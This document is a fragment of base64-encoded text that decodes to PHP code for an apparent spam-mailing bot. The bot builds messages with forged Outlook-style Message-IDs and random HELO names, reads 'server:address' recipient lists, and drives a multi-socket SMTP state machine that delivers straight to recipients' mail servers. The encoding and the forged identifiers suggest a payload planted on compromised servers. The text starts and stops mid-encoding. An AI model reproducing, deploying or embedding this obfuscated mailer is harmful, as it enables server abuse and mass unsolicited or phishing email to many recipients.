mJywgMCk7DQpkZWZpbmUoJ0RSX1NlbmQnLCAxKTsNCmRlZmluZSgnRFJfUmVjdicsIDIpOw0KZGVmaW5lKCdEUl9UaW1lb3V0JywgMyk7DQpkZWZpbmUoJ0RSX0Nsb3NlJywgNCk7DQpkZWZpbmUoJ0RSX0Vycm9yJywgNSk7DQokZ19hT3BEYXRhICAgICAgID0gYXJyYXkoKTsNCiRnX2FNYWlsRGF0YSAgICAgPSBhcnJheSgpOw0KJGdfaUxvY2tlZE9wcyAgICA9IDA7DQokZ19pRnJlZU1haWxzICAgID0gMDsNCiRnX3NNYWlsSGVhZGVyICAgPSAnJzsNCiRnX3NNYWlsU3ViamVjdCAgPSAnJzsNCiRnX3NNYWlsQm9keSAgICAgPSAnJzsNCiRnX3NNYWlsSGVsbyAgICAgPSAnJzsNCg0KDQoNCg0KJGdfYkRiZ1Jlc3BzICAgICA9IDA7DQoNCg0KDQoNCg0KZnVuY3Rpb24gTWFpbF9Jbml0RGF0YSgpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlYWRlciwgJGdfc01haWxTdWJqZWN0LCAkZ19zTWFpbEJvZHk7DQogIA0KICAvLyBGaWxlcw0KDQokbWggPSAnTWVzc2FnZS1JRDogJUJJX01FU1NBR0VfSUQlJyAuIFBIUF9FT0wgLg0KJ0Zyb206ICIlQklfRlJPTV9OQU1FJSIgPCVCSV9GUk9NX0FERFIlPicgLiBQSFBfRU9MIC4NCidUbzogJUJJX1RPX0FERFIlJyAuIFBIUF9FT0wgLg0KJ1N1YmplY3Q6ICVCSV9TVUJKRUNUJScgLiBQSFBfRU9MIC4NCidEYXRlOiAlQklfREFURSUnIC4gUEhQX0VPTCAuDQonTUlNRS1WZXJzaW9uOiAxLjAnIC4gUEhQX0VPTCAuDQonQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZScgLiBQSFBfRU9MIC4NCidDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9IlVURi04IicgLiBQSFBfRU9MIC4NCicnIC4gUEhQX0VPTCAuDQonJUJJX0JPRFklJzsNCg0KDQoNCg0KJGdfc01haWxIZWFkZXIgID0gJG1oOw0KDQoNCn0NCg0KZnVuY3Rpb24gTWFpbF9NZXNzYWdlSWQoJGRvbWFpbikNCnsNCiAgJGdyMSA9IHNwcmludGYoIiUwM2QiLCByYW5kKCkgJSAxMCk7DQogICRncjIgPSBzcHJpbnRmKCIlMDFYIiwgcmFuZCgpICUgMTYpOw0KICAkZ3IzID0gc3ByaW50ZigiJTA0WCIsIHJhbmQoKSAlIDY1NTM2KTsNCiAgJGdyNCA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQogICRncjUgPSBzcHJpbnRmKCIlMDRYIiwgcmFuZCgpICUgNjU1MzYpOw0KICAkZ3I2ID0gc3ByaW50ZigiJTA0WCIsIHJhbmQoKSAlIDY1NTM2KTsNCiAgJGdyNyA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQoNCiAgJG1lc3NhZ2VJZCA9ICRncjEuc3RydG9sb3dlcigkZ3IyKS4nMDFjNCcuc3RydG9sb3dlcigkZ3IzKS4nXCQnLg0KICAgIHN0cnRvbG93ZXIoJGdyNCkuc3RydG9sb3dlcigkZ3I1KS4nXCQnLnN0cnRvbG93ZXIoJGdyNikuc3RydG9sb3dlcigkZ3I3KS4nQCcuJGRvbWFpbjsNCg0KICAkYm91bmRhcnkgID0gJy0tLS09X05leHRQYXJ0XzAwMF8nLiRncjEuKHNwcmludGYoIiUwMVgiLCByYW5kKCkgJSAxNikpLidfMDFDNCcuJGdyNy4nLicuJGdyNi4kZ3I1Ow0KDQogIHJldHVybiBhcnJheSgkbWVzc2FnZUlkLCAkYm91bmRhcnkpOw0KfQ0KDQpmdW5jdGlvbiBlY25xdW90ZWQoJHN0cikNCnsNCiAgJGxwID0gMDsNCiAgJHJldCA9ICcnOw0KICAkaGV4ID0gIjAxMjM0NTY3ODlBQkNERUYiOw0KICAkbGVuZ3RoID0gc3RybGVuKCRzdHIpOw0KICAkaW5kZXggPSAwOw0KICAgDQogIHdoaWxlKCRsZW5ndGgtLSkNCiAgew0KICAgIGlmKCgoJGMgPSAkc3RyWyRpbmRleCsrXSkgPT0gIlwwMTUiKSAmJiAoJHN0clskaW5kZXhdID09ICJcMDEyIikgJiYgJGxlbmd0aCA+IDApDQogICAgew0KICAgICAgJHJldCAuPSAiXDAxNSI7DQogICAgICAkcmV0IC49ICRzdHJbJGluZGV4KytdOw0KICAgICAgJGxlbmd0aC0tOw0KICAgICAgJGxwID0gMDsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgIGlmKGN0eXBlX2NudHJsKCRjKSB8fCAob3JkKCRjKSA9PSAweDdmKSB8fCAob3JkKCRjKSAmIDB4ODApIHx8ICgkYyA9PSAnPScpDQogICAgICAgIHx8ICgoJGMgPT0gJyAnKSAmJiAoJHN0clskaW5kZXhdID09ICJcMDE1IikpKQ0KICAgICAgew0KICAgICAgICBpZigoJGxwICs9IDMpID4gUEhQX1FQUklOVF9NQVhMKQ0KICAgICAgICB7DQogICAgICAgICAgJHJldCAuPSAnPSc7DQogICAgICAgICAgJHJldCAuPSAiXDAxNSI7DQogICAgICAgICAgJHJldCAuPSAiXDAxMiI7DQogICAgICAgICAgJGxwID0gMzsNCiAgICAgICAgfQ0KICAgICAgICAkcmV0IC49ICc9JzsNCiAgICAgICAgJHJldCAuPSAkaGV4W29yZCgkYykgPj4gNF07DQogICAgICAgICRyZXQgLj0gJGhleFtvcmQoJGMpICYgMHhmXTsNCiAgICAgIH0NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICAgaWYoKCsrJGxwKSA+IFBIUF9RUFJJTlRfTUFYTCkNCiAgICAgICAgew0KICAgICAgICAgICRyZXQgLj0gJz0nOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTUiOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTIiOw0KICAgICAgICAgICRscCA9IDE7DQogICAgICAgIH0NCiAgICAgICAgJHJldCAuPSAkYzsNCiAgICAgIH0NCiAgICB9DQogIH0NCg0KICByZXR1cm4gJHJldDsNCn0NCg0KZnVuY3Rpb24gTWFpbF9HZW5lcmF0ZSgmJGhlYWRlciwgJG1haWxUbywgJGZyb21OYW1lLCAkZnJvbUFkZHIpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlYWRlciwgJGdfc01haWxTdWJqZWN0LCAkZ19zTWFpbEJvZHk7DQoNCiAgZ2xvYmFsICRUVF9TdWJqZWN0Ow0KICBnbG9iYWwgJFRUX0JvZHk7DQogIA0KICANCiAgJGRhdGUgICAgICA9IGRhdGUoIkQsIGogTSBZIEg6aTpzIE8iKTsNCg0KDQogICRzdWJqZWN0ID0gJFRUX1N1YmplY3Q7DQogICRib2R5ID0gJFRUX0JvZHk7DQoNCg0KICAkYm9keSAgICAgID0gZWNucXVvdGVkKCRib2R5KTsNCiAgJGJvZHkgICAgICA9IHByZWdfcmVwbGFjZSgnL1xyXG5cLlxyXG4vJywgIlxyXG4uLlxyXG4iLCAkYm9keSk7DQogIA0KICBsaXN0KCRtZXNzYWdlSWQsICRib3VuZGFyeSkgPSBNYWlsX01lc3NhZ2VJZCgkZnJvbUFkZHIpOw0KDQogICRoZWFkZXIgPSAkZ19zTWFpbEhlYWRlcjsNCiAgDQogIC8vIFN0YW5kYXJkIG1hY3Jvcw0KICAkaGVhZGVyID0gcHJlZ19yZXBsYWNlKCcvJUJJX0RBVEUlLycsICRkYXRlLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9UT19BRERSJS8nLCAkbWFpbFRvLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9NRVNTQUdFX0lEJS8nLCAkbWVzc2FnZUlkLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9TVUJKRUNUJS8nLCAkc3ViamVjdCwgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfRlJPTV9OQU1FJS8nLCAkZnJvbU5hbWUsICRoZWFkZXIpOw0KICAkaGVhZGVyID0gcHJlZ19yZXBsYWNlKCcvJUJJX0ZST01fQUREUiUvJywgJGZyb21BZGRyLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9CT0RZJS8nLCAkYm9keSwgJGhlYWRlcik7DQogIA0KICAkaGVhZGVyIC49ICJcclxuLlxyXG4iOw0KfQ0KDQoNCg0KDQpmdW5jdGlvbiBXb3JrZXJfR2V0U210cFN0YXR1cygkc3RhdGUsICRjb2RlKQ0Kew0KICBzd2l0Y2goJHN0YXRlKQ0KICB7DQogICAgY2FzZSBTTVRQX1NUQVRFX0NPTk5FQ1Q6DQogICAgICBpZigkY29kZSA9PSAyMjApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGJyZWFrOw0KDQogICAgY2FzZSBTTVRQX1NUQVRFX0hFTE86DQogICAgICBpZigkY29kZSA9PSAyNTApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGJyZWFrOw0KDQogICAgY2FzZSBTTVRQX1NUQVRFX01BSUxfRlJPTToNCiAgICAgIGlmKCRjb2RlID09IDI1MCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQoNCiAgICBjYXNlIFNNVFBfU1RBVEVfUkNQVF9UTzoNCiAgICAgIGlmKCRjb2RlID09IDI1MCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgaWYoJGNvZGUgPT0gMjUxKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9EQVRBOg0KICAgICAgaWYoJGNvZGUgPT0gMzU0KQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9DT05URU5UOg0KICAgICAgaWYoJGNvZGUgPT0gMjUwKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9RVUlUOg0KICAgICAgaWYoJGNvZGUgPT0gMjIxKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCiAgfQ0KDQogIHJldHVybiBTTVRQX1NUQVRVU19VTkxVQ0tZOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9Jbml0RGF0YSgpDQp7DQogIGdsb2JhbCAkZ19hTWFpbERhdGE7DQogIGdsb2JhbCAkZ19pRnJlZU1haWxzOw0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZ2xvYmFsICRnX3NNYWlsSGVsbzsNCiAgZ2xvYmFsICRUVF9Ub19BZGRyZXNzOw0KDQoNCg0KICAkZGF0YSA9IGFycmF5KCdzZXJ2ZXInICAgID0+IDAsDQogICAgICAgICAgICAgICAgJ21haWwnICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gTUFJTF9TVEFUVVNfVU5ERUZJTkVEKTsNCiAgJG1haWxzID0gZXhwbG9kZSgifiIsICRUVF9Ub19BZGRyZXNzKTsNCi8vZWNobyAgJFRUX1RvX0FkZHJlc3M7DQogIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1haWxzKTsgKyskaSkNCiAgew0KICAgICRwYXJ0cyA9IGV4cGxvZGUoIjoiLCAkbWFpbHNbJGldKTsNCg0KICAgICRkYXRhWydzZXJ2ZXInXSA9ICRwYXJ0c1swXTsNCi8vZWNobyAgJyAgJyAuICAkZGF0YVsnc2VydmVyJ10gLiAnICAnOw0KDQogICAgJGRhdGFbJ21haWwnXSAgID0gJHBhcnRzWzFdOw0KLy9lY2hvICAnICAnIC4gICRkYXRhWydtYWlsJ10gLiAnICAnOw0KICAgICRkYXRhWydpbmRleCddICA9IA0KICAgICRnX2FNYWlsRGF0YVtdID0gJGRhdGE7DQogICAgKyskZ19pRnJlZU1haWxzOw0KICB9DQogLy8gJGdfc01haWxIZWxvID0gJF9QT1NUWydoZWxvJ107DQogICAgJGdfc01haWxIZWxvID0gcmFuZG9tX3N0cmluZyg4KTsNCi8vICAgICRnX3NNYWlsSGVsbyA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KDQogIA0KDQogICRkYXRhID0gYXJyYXkoJ3NvY2tldCcgICAgID0+IE5VTEwsDQogICAgICAgICAgICAgICAgJ3NlbmRCdWZmZXInID0+ICcnLA0KICAgICAgICAgICAgICAgICdyZWN2QnVmZmVyJyA9PiAnJywNCiAgICAgICAgICAgICAgICAnbGV0dGVyJyAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ21haWxJbmRleCcgID0+IDAsDQogICAgICAgICAgICAgICAgJ3NtdHBTdGF0ZScgID0+IFNNVFBfU1RBVEVfVU5ERUYsDQogICAgICAgICAgICAgICAgJ2RhdGFTdGF0ZScgID0+IERTX1VuZGVmLA0KICAgICAgICAgICAgICAgICdyZXNwb25zZScgICA9PiAnJywNCiAgICAgICAgICAgICAgICAnc3RhcnRUaW1lJyAgPT4gdGltZSgpLA0KICAgICAgICAgICAgICAgICdsYXN0VGltZScgICA9PiAwKTsNCiAgZm9yKCRpID0gMDsgJGkgPCBDRkdfTlVNX1NPQ0tFVFM7ICsrJGkpDQogIHsNCiAgICAkZGF0YVsnaW5kZXgnXSA9ICRpOw0KICAgICRnX2FPcERhdGFbXSA9ICRkYXRhOw0KICB9DQp9DQoNCg0KZnVuY3Rpb24gV29ya2VyX0dldE1haWwoKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRnX2FNYWlsRGF0YSk7ICsrJGkpDQogIHsNCiAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJGldOw0KICAgIGlmKCRtYWlsWydzdGF0dXMnXSA9PSBNQUlMX1NUQVRVU19VTkRFRklORUQpDQogICAgew0KICAgICAgJG1haWxbJ3N0YXR1cyddID0gTUFJTF9TVEFUVVNfUFJPQ0VTU0lORzsNCiAgICAgIHJldHVybiBhcnJheSgkaSwgJG1haWxbJ3NlcnZlciddKTsNCiAgICB9DQogIH0NCiAgcmV0dXJuIGFycmF5KC0xLCAwKTsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1B1dE1haWwoJGluZGV4LCAkc3RhdHVzKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBnbG9iYWwgJGdfaUZyZWVNYWlsczsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIA0KICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJGluZGV4XTsNCiAgaWYoJG1haWxbJ3N0YXR1cyddID09IE1BSUxfU1RBVFVTX1BST0NFU1NJTkcpDQogIHsNCiAgICAkbWFpbFsnc3RhdHVzJ10gPSAkc3RhdHVzOw0KICAgIC0tJGdfaUZyZWVNYWlsczsNCiAgfQ0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9TZXRTdGF0ZXMoJiRvcERhdGEsICRzbXRwU3RhdGUsICRkYXRhU3RhdGUpDQp7DQogICRvcERhdGFbJ3NtdHBTdGF0ZSddICA9ICRzbXRwU3RhdGU7DQogICRvcERhdGFbJ2RhdGFTdGF0ZSddICA9ICRkYXRhU3RhdGU7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kSGVsbygmJG9wRGF0YSkNCnsNCiAgZ2xvYmFsICRnX3NNYWlsSGVsbzsNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0hFTE8sIERTX1NlbmQpOw0KDQogICRvcERhdGFbJ3NlbmRCdWZmZXInXSAgPSAiRUhMTyAiOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gJGdfc01haWxIZWxvOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIlxyXG4iOw0KICANCiAgcmV0dXJuIERSX1NlbmQ7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kTWFpbEZyb20oJiRvcERhdGEpDQp7DQogIGdsb2JhbCAkZ19hTWFpbERhdGE7DQogIGdsb2JhbCAkVFRfRnJvbV9OYW1lOw0KICBnbG9iYWwgJFRUX0Zyb21fQWRkcmVzczsNCg0KICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJG9wRGF0YVsnbWFpbEluZGV4J11dOw0KDQokZnJvbU5hbWUgPSAkVFRfRnJvbV9OYW1lOw0KJGZyb21BZGRyID0gJFRUX0Zyb21fQWRkcmVzczsNCg0KLy9lY2hvICAkZnJvbU5hbWUgLiAnICMgJyAuICRmcm9tQWRkcjsNCg0KTWFpbF9HZW5lcmF0ZSgkb3BEYXRhWydsZXR0ZXInXSwgJG1haWxbJ21haWwnXSwgJGZyb21OYW1lLCAkZnJvbUFkZHIpOw0KDQoNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX01BSUxfRlJPTSwgRFNfU2VuZCk7DQogICRvcERhdGFbJ3NlbmRCdWZmZXInXSAgPSAiTUFJTCBGUk9NOjwiOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gJGZyb21BZGRyOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIj5cclxuIjsNCg0KICByZXR1cm4gRFJfU2VuZDsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1NlbmRRdWl0KCYkb3BEYXRhLCAkbWFpbFN0YXR1cykNCnsNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1FVSVQsIERTX1NlbmQpOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIlFVSVRcclxuIjsNCiAgJG9wRGF0YVsnc2VuZFNpemUnXSAgICA9IHN0cmxlbigkb3BEYXRhWydzZW5kQnVmZmVyJ10pOw0KICBXb3JrZXJfUHV0TWFpbCgkb3BEYXRhWydtYWlsSW5kZXgnXSwgJG1haWxTdGF0dXMpOw0KICByZXR1cm4gRFJfU2VuZDsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfRGlzcGF0Y2hDb25uZWN0KCYkb3BEYXRhLCAkc3RhdGUpDQp7DQogIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9DT05ORUNULCBEU19SZWN2KTsNCiAgcmV0dXJuIERSX1JlY3Y7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9EaXNwYXRjaFNlbmQoJiRvcERhdGEpDQp7DQogICRzbXRwU3RhdGUgPSAkb3BEYXRhWydzbXRwU3RhdGUnXTsNCiAgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX0hFTE8pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0hFTE8sIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9NQUlMX0ZST00pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX01BSUxfRlJPTSwgRFJfUmVjdik7DQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1JDUFRfVE8pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1JDUFRfVE8sIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9EQVRBKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9EQVRBLCBEUl9SZWN2KTsNCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfQ09OVEVOVCkNCiAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OVEVOVCwgRFJfUmVjdik7DQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1FVSVQpDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1FVSVQsIERSX1JlY3YpOw0KICByZXR1cm4gRFJfUmVjdjsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfR2V0UmVwbHlDb2RlKCRyZXNwb3NlKQ0Kew0KICAkcmVwbHkgPSAwOw0KICAkbGluZXMgPSBleHBsb2RlKCJcclxuIiwgJHJlc3Bvc2UpOw0KICAkbnVtTGluZXMgPSBjb3VudCgkbGluZXMpOw0KICBpZigkbnVtTGluZXMgPj0gMikNCiAgew0KICAgIC8vIENoZWNoICJcclxuIiBhdCB0aGUgZW5kDQogICAgaWYoJGxpbmVzWyRudW1MaW5lcyAtIDFdICE9ICcnKQ0KICAgICAgcmV0dXJuICRyZXBseTsNCiAgICANCiAgICAvLyBHZXQgcmVwbHkNCiAgICBpZihwcmVnX21hdGNoKCcvXihcZFxkXGQpJC8nLCAkbGluZXNbJG51bUxpbmVzIC0gMl0sICRtYXRjaGVzKSkNCiAgICAgICRyZXBseSA9IChpbnQpJG1hdGNoZXNbMF07DQogICAgZWxzZSBpZihwcmVnX21hdGNoKCcvXihcZFxkXGQpIC4qLycsICRsaW5lc1skbnVtTGluZXMgLSAyXSwgJG1hdGNoZXMpKQ0KICAgICAgJHJlcGx5ID0gKGludCkkbWF0Y2hlc1swXTsNCiAgfQ0KICByZXR1cm4gJHJlcGx5Ow0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfRGlzcGF0Y2hSZWN2KCYkb3BEYXRhKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhLCAkZ19iRGJnUmVzcHM7DQogIA0KICAvLyBTZXJ2ZXIgcmVwbHkNCiAgJHJlcGx5ID0gV29ya2VyX0dldFJlcGx5Q29kZSgkb3BEYXRhWydyZWN2QnVmZmVyJ10pOw0KICBpZigkcmVwbHkgPT0gMCkNCiAgICByZXR1cm4gRFJfUmVjdjsNCg0KICAkc3RhdHVzID0gRFJfRXJyb3I7DQogICRzbXRwU3RhdGUgID0gJG9wRGF0YVsnc210cFN0YXRlJ107DQogICRzbXRwU3RhdHVzID0gV29ya2VyX0dldFNtdHBTdGF0dXMoJHNtdHBTdGF0ZSwgJHJlcGx5KTsNCg0KICBpZigkZ19iRGJnUmVzcHMgJiYgJHNtdHBTdGF0ZSAhPSBTTVRQX1NUQVRFX1FVSVQpDQogIHsNCiAgICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICAgICRtYWlsID0gJiRnX2FNYWlsRGF0YVskb3BEYXRhWydtYWlsSW5kZXgnXV07DQogICAgJG1haWxbJ3Jlc3BvbnNlJ10gPSAkb3BEYXRhWydyZWN2QnVmZmVyJ107DQogIH0NCiANCiAgLy8gU01UUF9TVEFURV9DT05ORUNUDQogIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9DT05ORUNUKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE9uIGFsbCBzZXNzaW9uIG1haWxzDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRIZWxvKCRvcERhdGEpOw0KICAgIGVsc2UNCiAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05ORUNUKTsNCiAgfQ0KICAvLyBTTVRQX1NUQVRFX0hFTE8NCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfSEVMTykNCiAgew0KICAgIC8vIExVQ0tZICAgICAgIC0gR290byBuZXh0IHN0YXRlDQogICAgLy8gVU5MVUNLWSAgICAgLSBPbiBhbGwgc2Vzc2lvbiBtYWlscw0KICAgIGlmKCRzbXRwU3RhdHVzID09IFNNVFBfU1RBVFVTX0xVQ0tZKQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kTWFpbEZyb20oJG9wRGF0YSk7DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX0hFTE8pOw0KICB9DQogIC8vIEJTTV9TRVNTSU9OX1NUQVRFX01BSUxfRlJPTQ0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9NQUlMX0ZST00pDQogIHsNCiAgICAvLyBMVUNLWSAgICAgICAtIEdvdG8gbmV4dCBzdGF0ZQ0KICAgIC8vIFVOTFVDS1kgICAgIC0gQ2hhbmdlIGZyb20NCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfUkNQVF9UTywgRFNfU2VuZCk7DQogICAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJG9wRGF0YVsnbWFpbEluZGV4J11dOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddICA9ICJSQ1BUIFRPOjwiOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICRtYWlsWydtYWlsJ107DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIj5cclxuIjsNCiAgICAgICRvcERhdGFbJ3NlbmRTaXplJ10gICAgPSBzdHJsZW4oJG9wRGF0YVsnc2VuZEJ1ZmZlciddKTsNCiAgICAgICRzdGF0dXMgPSBEUl9TZW5kOw0KICAgIH0NCiAgICBlbHNlDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfTUFJTF9GUk9NKTsNCiAgfQ0KICAvLyBCU01fU0VTU0lPTl9TVEFURV9SQ1BUX1RPDQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1JDUFRfVE8pDQogIHsNCiAgICAvLyBMVUNLWSAgICAgICAtIEdvdG8gbmV4dCBzdGF0ZQ0KICAgIC8vIFVOTFVDS1kgICAgIC0gTm8gdXNlciAtIFJTRVQNCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfREFUQSwgRFNfU2VuZCk7DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIkRBVEFcclxuIjsNCiAgICAgICRvcERhdGFbJ3NlbmRTaXplJ10gICAgPSBzdHJsZW4oJG9wRGF0YVsnc2VuZEJ1ZmZlciddKTsNCiAgICAgICRzdGF0dXMgPSBEUl9TZW5kOw0KICAgIH0NCiAgICBlbHNlDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfUkNQVF9UTyk7DQogIH0NCiAgLy8gQlNNX1NFU1NJT05fU1RBVEVfREFUQQ0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9EQVRBKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE5vIGRlbGl2ZXJlZCAtIFJTRVQNCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICB7DQogICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OVEVOVCwgRFNfU2VuZCk7DQogICAgICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gJG9wRGF0YVsnbGV0dGVyJ107DQogICAgICAkb3BEYXRhWydzZW5kU2l6ZSddICAgID0gc3RybGVuKCRvcERhdGFbJ3NlbmRCdWZmZXInXSk7DQogICAgICAkc3RhdHVzID0gRFJfU2VuZDsNCiAgICB9DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX0RBVEEpOw0KICB9DQogIC8vIFNNVFBfU1RBVEVfQ09OVEVOVA0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9DT05URU5UKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE5vIHVzZXIgLSBSU0VUDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX0xVQ0